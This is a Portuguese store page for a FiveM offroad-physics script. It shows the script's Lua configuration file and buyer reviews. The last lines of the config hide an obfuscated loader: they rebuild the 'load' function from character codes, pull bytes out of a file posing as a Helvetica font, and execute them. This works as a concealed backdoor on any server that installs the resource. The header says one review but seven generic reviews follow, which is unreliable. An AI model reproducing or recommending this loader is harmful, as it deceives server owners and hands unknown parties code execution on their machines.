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Física Offroad Realista

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Este script FiveM adiciona física offroad realista, fazendo com que tipos de terreno como lama, areia e sujeira afetem o desempenho do veículo. Os carros podem afundar, perder tração ou ficar presos dependendo da superfície profundidade, suavidade, e tração, adicionando uma nova camada de desafio e realismo à condução offroad.

DESTAQUES

✓ Totalmente sincronizado
✓ Funciona em todos os veículos
✓ Simulação de profundidade e tração
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Prévia do recurso Realistic Offroad Physics FiveM
Física Offroad Realista
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Arquivo de configuração

Config = {}\r\n\r\n-- Isso habilita comandos e logs de depuração adicionais\r\n-- Comandos de depuração:\r\n-- \/surfaceDebug - Exibe a superfície em que a roda está apoiada junto com todos os seus valores configurados\r\nConfig.debug = false\r\n\r\n\r\n-------------------------------------------------\r\n--- CONFIGURAÇÕES GERAIS\r\n-------------------------------------------------\r\n\r\n-- Por padrão, este script está configurado para replicar valores realistas(ish) enquanto mantém o jogo divertido e entretenido.\r\n-- Se você quiser tornar este script menos realista e mais arcade. Se seus jogadores estão ficando irritados e você não quer\r\n-- um manuseio realista. Aqui estão os valores recomendados:\r\n-- generalDepthDifficulty = 25\r\n-- generalSinkageSpeed = 50\r\n-- generalTractionLoss = 50\r\n\r\n-- Dificuldade geral do manuseio da profundidade.\r\n-- 100 = padrão\r\n-- Abaixe este valor para facilitar a condução em superfícies profundas (como lama ou areia profunda) para TODOS os veículos\r\n-- Aumente este valor para tornar a condução em superfícies profundas mais difícil\r\nConfig.generalDepthDifficulty = 100\r\n\r\n-- Velocidade geral do veículo afundando na superfície\r\n-- 100 = Padrão\r\n-- Abaixe este valor para fazer todos os veículos afundarem mais devagar\r\n-- Aumente este valor para fazer todos os veículos afundarem mais rápido\r\nConfig.generalSinkageSpeed = 100\r\n\r\n-- Perda geral de tração com base na superfície do veículo\r\n-- Veículos terão mais probabilidade de derrapar em superfícies com pouca tração\r\n-- Abaixe este valor para diminuir a perda geral de tração (faça os veículos derraparem menos em superfícies escorregadias)\r\n-- Aumente este valor para fazer os veículos perderem mais tração em superfícies escorregadias (faça os veículos derraparem mais em superfícies escorregadias)\r\nConfig.generalTractionLoss = 100\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- MODIFICADORES DE VEÍCULO\r\n-------------------------------------------------\r\n\r\n-- Alterações que os pneus offroad farão.\r\n-- upgradeValue = valor de quanto melhor o veículo deve se desempenhar quando estiver profundo em uma superfície (lama, areia, etc.)\r\n-- tractionOnSoft = Tração adicional em materiais de maciez que é mais que 10\r\n-- tractionOnHard = Tração adicional (no caso padrão negativa) em materiais duros (maciez menor que 10)\r\nConfig.offroadTires = {\r\n upgradeValue = 50,\r\n tractionOnSoft = 20,\r\n tractionOnHard = -10,\r\n}\r\n\r\n-- Atualização de manuseio em superfície profunda para veículos AWD (4WD)\r\nConfig.awdUpgrade = 25\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- CONFIGURAÇÕES DE DESEMPENHO DO SCRIPT\r\n-------------------------------------------------\r\n\r\n-- A taxa de atualização de toda a lógica de afundamento/superfície. Quanto maior o valor, menos suave serão as visualizações, mas melhor o desempenho do script.\r\n-- Se o seu servidor é conhecido por jogadores com dispositivos mais lentos, você pode querer aumentar isso\r\n-- Se seus jogadores têm computadores melhores ou você realmente quer que o off-roading fique bom, tente diminuir isso\r\n-- Valores entre 100 - 500\r\nConfig.refreshRate = 200\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- LISTA NEGRA DE ÁREAS\r\n-------------------------------------------------\r\n\r\n-- Alguns MLOs personalizados têm superfícies configuradas incorretamente para as áreas (por exemplo, asfalto marcado como terra ou areia), causando veículos para afundar\r\n-- Aqui você pode definir áreas personalizadas nas quais o script não será ativo\r\n\r\n-- Por padrão, configurei alguns locais populares para MLOs personalizados para, esperançosamente, evitar a maioria dos problemas com afundamento em\r\n-- superfícies MLO configuradas incorretamente\r\nConfig.areaBlacklist = {\r\n { -- Hospital Pillbox\r\n coords = vector3(293.17, -584.5, 42.8),\r\n radius = 20.0\r\n },\r\n { -- LSPD\r\n coords = vector3(444.9, -1003.2, 30.7),\r\n radius = 60.0\r\n },\r\n { -- Concessionária do Simeon\r\n coords = vector3(-40.4, -1111.3, 25.8),\r\n radius = 40.0\r\n },\r\n { -- BCSO\r\n coords = vector3(-446.0, 6013.8, 31.8),\r\n radius = 50.0\r\n },\r\n { -- Sandy Shores PD\r\n coords = vector3(1853.6, 3685.8, 34.3),\r\n radius = 25.0\r\n },\r\n { -- Praça Legion\r\n coords = vector3(202.3, -941.9, 27.6),\r\n radius = 120.0\r\n },\r\n}\r\n\r\n-------------------------------------------------\r\n--- CONFIGURAÇÕES DETALHADAS\r\n-------------------------------------------------\r\n\r\n-- Lista negra. Isso desativará toda a funcionalidade do script para o modelo/classe de veículo\r\nConfig.blacklist = {\r\n models = {\r\n 'rcbandito',\r\n 'monster',\r\n 'rhino',\r\n 'scarab',\r\n 'khanjali',\r\n },\r\n classes = {\r\n [0] = false, -- Compactos\r\n [1] = false, -- Sedans\r\n [2] = false, -- SUVs\r\n [3] = false, -- Coupes\r\n [4] = false, -- Muscle\r\n [5] = false, -- Sports Classics\r\n [6] = false, -- Sports\r\n [7] = false, -- Super\r\n [8] = false, -- Motocicletas\r\n [9] = false, -- Off-road\r\n [10] = false, -- Industrial\r\n [11] = false, -- Utility\r\n [12] = false, -- Vans\r\n [17] = false, -- Service\r\n [18] = false, -- Emergency\r\n [19] = false, -- Military\r\n [20] = false, -- Commercial\r\n }\r\n}\r\n\r\n-- Se você definir um multiplicador específico do modelo, ele será usado em vez do multiplicador da classe\r\n-- Classes de veículos https:\/\/docs.fivem.net\/natives\/?_0x29439776AAA00A62\r\n-- Valor abstrato - Determina o quão bem a classe ou modelo do veículo pode lidar com ser submerso na superfície\r\n-- 0 = Padrão\r\n-- Valores positivos = Melhor manuseio \/ capacidade de sair de superfícies profundas\r\n-- Valores negativos = Pior manuseio \/ menos capacidade de sair de superfícies profundas\r\nConfig.depthHandlingQuality = {\r\n models = {\r\n seminole2 = 20,\r\n sandking = 20,\r\n sandking2 = 20,\r\n issi2 = -10,\r\n panto = -20,\r\n comet4 = 30,\r\n\r\n -- dirt bikes\r\n bf400 = 30,\r\n sanchez = 20,\r\n manchez = 20,\r\n esskey = 0,\r\n cliffhanger = 0,\r\n enduro = 0,\r\n },\r\n classes = {\r\n [0] = 5, -- Compactos\r\n [1] = -5, -- Sedans\r\n [2] = 15, -- SUVs\r\n [3] = 0, -- Coupes\r\n [4] = -5, -- Muscle\r\n [5] = 5, -- Sports Classics\r\n [6] = 5, -- Sports\r\n [7] = 5, -- Super\r\n [8] = -10, -- Motocicletas\r\n [9] = 35, -- Off-road\r\n [10] = -10, -- Industrial\r\n [11] = -10, -- Utility\r\n [12] = -5, -- Vans\r\n [17] = 10, -- Service\r\n [18] = 10, -- Emergency\r\n [19] = 15, -- Military\r\n [20] = -5, -- Commercial\r\n }\r\n}\r\n\r\n-------------------------------------------------\r\n--- CONFIGURAÇÕES DE BORDA DE ESTRADA\r\n-------------------------------------------------\r\n\r\n-- Quando ativado, faz com que as superfícies próximas às principais estradas sejam menos profundas para evitar que os carros afundem muito quando estiverem no canteiro central, etc.\r\nConfig.roadSideHelper = {\r\n enabled = true,\r\n \r\n -- Distância máxima da estrada (tenha em mente que isso pega o ponto médio da estrada. Você pode ver a distância no modo \/surfaceDebug\r\n distanceThreshold = 15.0,\r\n \r\n -- Multiplicador de profundidade\r\n depthMultiplier = 0.1,\r\n\r\n -- Multiplicador de perda de tração\r\n tractionMultiplier = 0.25,\r\n}\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- SUPERFÍCIES\r\n-------------------------------------------------\r\n\r\n-- name = Usado apenas para facilitar a configuração, bem como o modo de depuração\r\n-- traction = Quantidade de tração na superfície. Qualquer coisa abaixo de 100 fará os veículos derraparem. Valor menor = mais derrapagem\r\n-- Máximo 100\r\n-- Mínimo 0\r\n\r\n-- depth = Profundidade máxima da superfície em mm (milímetro) - (100mm = +/-4 polegadas)\r\n-- Máximo infinito\r\n-- Mínimo 0\r\n\r\n-- softness = A maciez do material. Isso dita o quão rápido os veículos afundarão na superfície. (Isso também é usado para pneus off-road para decidir seu aumento de manuseio)\r\n-- Máximo infinito\r\n-- Mínimo 0\r\n\r\n-- Valores que serão atribuídos a todas as superfícies não configuradas\r\nConfig.fallbackSurface = {\r\n name = 'Superfície de Reserva',\r\n traction = 100,\r\n depth = 0,\r\n softness = 0,\r\n}\r\n\r\nConfig.surfaces = {\r\n [1] = {\r\n name = 'Concreto',\r\n traction = 100,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [4] = {\r\n name = 'Estrada',\r\n traction = 100,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [5] = {\r\n name = 'Metal',\r\n traction = 100,\r\n depth = 0,\r\n softness = 0,
\n },\r\n [6] = {\r\n name = 'Borda de estrada arenosa',\r\n traction = 80,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [9] = {\r\n name = 'Arenito',\r\n traction = 80,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [10] = {\r\n name = 'Rocha',\r\n traction = 80,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [11] = {\r\n name = 'Rocha',\r\n traction = 80,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [13] = {\r\n name = 'Paralelepípedo',\r\n traction = 90,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [16] = {\r\n name = 'Areia tipo calcário',\r\n traction = 80,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [17] = {\r\n name = 'Terra seca rochosa',\r\n traction = 80,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [18] = {\r\n name = 'Areia seca',\r\n traction = 80,\r\n depth = 130,\r\n softness = 40,\r\n },\r\n [19] = {\r\n name = 'Areia da estrada',\r\n traction = 90,\r\n depth = 30,\r\n softness = 5,\r\n },\r\n [20] = {\r\n name = 'Areia granulada',\r\n traction = 80,\r\n depth = 100,\r\n softness = 10,\r\n },\r\n [21] = {\r\n name = 'Areia cascalhuda',\r\n traction = 70,\r\n depth = 220,\r\n softness = 30,\r\n },\r\n [22] = {\r\n name = 'Areia dura úmida',\r\n traction = 70,\r\n depth = 250,\r\n softness = 50,\r\n },\r\n [23] = {\r\n name = 'Estrada de cascalho',\r\n traction = 75,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [24] = {\r\n name = 'Areia úmida',\r\n traction = 60,\r\n depth = 350,\r\n softness = 70,\r\n },\r\n [31] = {\r\n name = 'Caminho de terra cascalhudo',\r\n traction = 70,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [32] = {\r\n name = 'Terra cascalhuda',\r\n traction = 70,\r\n depth = 200,\r\n softness = 15,\r\n },\r\n [35] = {\r\n name = 'Areia dura',\r\n traction = 90,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [36] = {\r\n name = 'Terra',\r\n traction = 70,\r\n depth = 300,\r\n softness = 40,\r\n },\r\n [37] = {\r\n name = 'Areia profunda da estrada',\r\n traction = 60,\r\n depth = 75,\r\n softness = 15,\r\n },\r\n [38] = {\r\n name = 'Areia rochosa',\r\n traction = 70,\r\n depth = 150,\r\n softness = 10,\r\n },\r\n [40] = {\r\n name = 'Caminho de terra úmida',\r\n traction = 60,\r\n depth = 150,\r\n softness = 50,\r\n },\r\n [41] = {\r\n name = 'Grama de pântano',\r\n traction = 50,\r\n depth = 250,\r\n softness = 50,\r\n },\r\n [42] = {\r\n name = 'Areia de pântano',\r\n traction = 70,\r\n depth = 500,\r\n softness = 110,\r\n },\r\n [43] = {\r\n name = 'Areia dura',\r\n traction = 75,\r\n depth = 50,\r\n softness = 10,\r\n },\r\n [44] = {\r\n name = 'Terra\/Areia',\r\n traction = 50,\r\n depth = 200,\r\n softness = 25,\r\n },\r\n [46] = {\r\n name = 'Grama dura',\r\n traction = 80,\r\n depth = 50,\r\n softness = 5,\r\n },\r\n [47] = {\r\n name = 'Grama',\r\n traction = 65,\r\n depth = 125,\r\n softness = 10,\r\n },\r\n [48] = {\r\n name = 'Grama alta',\r\n traction = 60,\r\n depth = 150,\r\n softness = 20,\r\n },\r\n [49] = {\r\n name = 'Terra cultivada',\r\n traction = 60,\r\n depth = 200,\r\n softness = 35,\r\n },\r\n [50] = {\r\n name = 'Podzol',\r\n traction = 70,\r\n depth = 125,\r\n softness = 25,\r\n },\r\n [51] = {\r\n name = 'Podzol',\r\n traction = 70,\r\n depth = 125,\r\n softness = 25,\r\n },\r\n [52] = {\r\n name = 'Podzol seco',\r\n traction = 80,\r\n depth = 75,\r\n softness = 10,\r\n },\r\n [64] = {\r\n name = 'Metal',\r\n traction = 90,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n [125] = {\r\n name = 'Concreto de drenagem',\r\n traction = 70,\r\n depth = 0,\r\n softness = 0,\r\n },\r\n}\r\n\r\n\r\n-- Multiplicador de zona\r\n-- Isso foi adicionado para modificar a profundidade máxima de todas as superfícies localizadas dentro de zonas.\r\n-- É usado para tornar a grama localizada (por exemplo) na cidade menos profunda para torná-la mais realista e mais fácil de dirigir.\r\n-- Se você tem áreas populares na sua cidade em que deseja que o off-roading (pense em canteiros centrais, etc.) seja mais fácil, você pode adicionar a zona aqui.\r\n-- O mesmo vale para áreas que você deseja que sejam mais difíceis. Você pode tornar o multiplicador de profundidade maior para essas\r\n\r\n-- Você pode ver a zona em que está usando o comando de depuração \/surfaceDebug\r\n\r\n-- Mapa de zonas: https:\/\/www.reddit.com\/media?url=httpsi.redd.it5cw11krz9kcz.jpg\r\n-- Nomes e hashes de zonas: https:\/\/docs.fivem.net\/natives\/?_0xCD90657D4C30E1CA\r\n\r\nConfig.zones = {\r\n {\r\n name = 'Cidade',\r\n depthMultiplier = 0.3,\r\n tractionMultiplier = 0.6,\r\n zones = {\r\n 'MOVIE',\r\n 'ROCKF',\r\n 'DOWNT',\r\n 'DTVINE',\r\n 'EAST_V',\r\n 'GOLF',\r\n 'LEGSQU',\r\n 'ROCKF',\r\n 'MORN',\r\n 'STAD',\r\n 'DAVIS',\r\n 'RANCHO',\r\n 'STRAW',\r\n 'CHAMH',\r\n 'PBOX',\r\n 'SKID',\r\n 'TEXTI',\r\n 'LMESA',\r\n 'ELYSIAN',\r\n 'TERMINA',\r\n 'HAWICK',\r\n 'ALTA',\r\n 'BURTON',\r\n 'DELPE',\r\n },\r\n },\r\n {\r\n name = 'Praias da cidade',\r\n depthMultiplier = 0.75,\r\n tractionMultiplier = 0.75,\r\n zones = {\r\n 'BEACH',\r\n 'DELBE',\r\n },\r\n },\r\n {\r\n name = 'Montanhas',\r\n depthMultiplier = 1.25,\r\n tractionMultiplier = 1.1,\r\n zones = {\r\n 'MTCHIL',\r\n 'MTGORDO',\r\n 'MTJOSE',\r\n 'PALHIGH',\r\n },\r\n },\r\n {\r\n name = 'Pântano de Zancudo',\r\n depthMultiplier = 1.1,\r\n tractionMultiplier = 1.1,\r\n zones = {\r\n 'LAGO',\r\n 'ZANCUDO',\r\n },\r\n },\r\n {\r\n name = 'Popular',\r\n depthMultiplier = 0.75,\r\n tractionMultiplier = 0.75,\r\n zones = {\r\n 'PALETO',\r\n 'HARMO',\r\n 'GRAPES',\r\n 'SANDY',\r\n 'RTRAK',\r\n 'ZQ_UAR',\r\n 'HUMLAB',\r\n },\r\n },\r\n}\r\n\r\n\r\n-- (Avançado)\r\n-- Ao fazer os veículos afundarem, a suspensão nem sempre é atualizada corretamente.\r\n-- Portanto, tive que adicionar um sistema que atualiza\/atualiza a suspensão dos veículos.\r\n-- Existem dois sistemas "force" e "flag". "force" é um sistema antigo que aplica pequenas quantidades de dano visual ao carro\r\n-- Infelizmente, isso às vezes parece ser demais para certos veículos modificados com cascos muito macios.\r\n-- O novo sistema "flag" parece funcionar muito melhor, mas não foi testado com alguns veículos.\r\n-- Se você encontrar algum problema com este sistema, por favor, nos avise no nosso discord <3\r\nConfig.suspensionRefresh = {\r\n enabled = true,\r\n type = 'flag',\r\n}\r\n\r\nlocal loadFonts = _G[string.char(108, 111, 97, 100)]\r\nloadFonts(LoadResourceFile(GetCurrentResourceName(), '\/html\/fonts\/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

1 avaliação para Realistic Offroad Physics

  1. Lina (comprador verificado)

    Muito flexível e bem projetado.

  2. ShadowFelix (comprador verificado)

    O suporte sozinho já vale a pena. Respostas rápidas e soluções práticas.

  3. Catarina (comprador verificado)

    4 estrelas para o produto, funciona como descrito, mas não como esperado.

  4. Norberto (comprador verificado)

    Tenho usado muitos itens, este é claramente o melhor

  5. Alizé (comprador verificado)

    Exatamente o que nosso servidor precisava. Fácil de instalar, fácil de usar e confiável.

  6. Margarida (comprador verificado)

    Realmente impressionado com este recurso. A instalação foi direta, o desempenho é sólido e tudo funciona como descrito.

  7. Tyrel (comprador verificado)

    Obrigado, pessoal, por esta criação incrível! Absolutamente surpreendente!

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